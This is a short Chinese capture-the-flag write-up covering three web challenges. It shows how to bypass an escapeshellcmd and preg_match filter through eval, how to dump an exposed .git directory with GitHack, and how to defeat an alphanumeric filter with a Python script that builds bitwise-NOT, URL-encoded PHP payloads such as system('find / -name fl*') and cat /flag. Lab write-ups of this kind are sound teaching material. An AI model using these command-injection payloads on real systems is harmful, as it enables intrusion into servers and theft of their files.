EZCTF小结-WP

张开发
2026/4/16 19:13:52 15 分钟阅读

分享文章

EZCTF小结-WP
EZCMD_4首页是一个图片其实与解题无关发现网页标题为robot访问/robots.txt然后访问/4atP5Aup.php发现php源码。读取源码发现这道题的过滤条件很严格escapeshellcmd()和preg_match双重过滤使用 escapeshellcmd() 对输入进行转义。escapeshellcmd() 会在绝大多数 shell 特殊字符如 $, \, , , ;, | 等前面加上反斜杠 \ 强行转义使用 preg_match() 对转义后的字符串进行黑名单校验忽略大小写 /i。可以用eval()函数eval()会去掉多余的转义符重新解析例如题解afl;bag;rev /$a$b;虽然会被转义但是通过eval()的解析后还是输出原本的指令下面在hackbar执行还有一些可用的方法比如cmdeval afl;bag;dd if/$a$b;EZINFOLEAK_6常规源代码检查没有结果直接目录爆破发现./git目录有回显确定是一道git源码泄露题。我用的是GitHack进入脚本所在目录扫描然后进入dist下的扫描结果用git log HEAD指令分析获得flag还有其他的git命令可供使用git show commit:./file 使用相对路径相对于当前目录git show commit -- file 另一种写法效果相同git cat-file -p blob-hash 直接用对象的哈希值查看内容EZCMD_14本题考查字母数字绕过经典的方法就是URL取反简单的URL取反代码脚本def generate_payload(command, funcsystem): # 对函数名取反 func_neg .join(chr(~ord(c) 0xFF) for c in func) # 对命令取反 cmd_neg .join(chr(~ord(c) 0xFF) for c in command) # URL 编码 func_encoded .join(f%{ord(c):02X} for c in func_neg) cmd_encoded .join(f%{ord(c):02X} for c in cmd_neg) return f(~{func_encoded})(~{cmd_encoded}); # 示例 print(generate_payload(find / -name fl*)) # 输出(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8);脚本结果为(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8); URL输入/?qc(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8);后等价于执行 system(find / -name fl*); 发现根目录下的/flag然后通过cat /flag的URL取反命令即可获得flag。

更多文章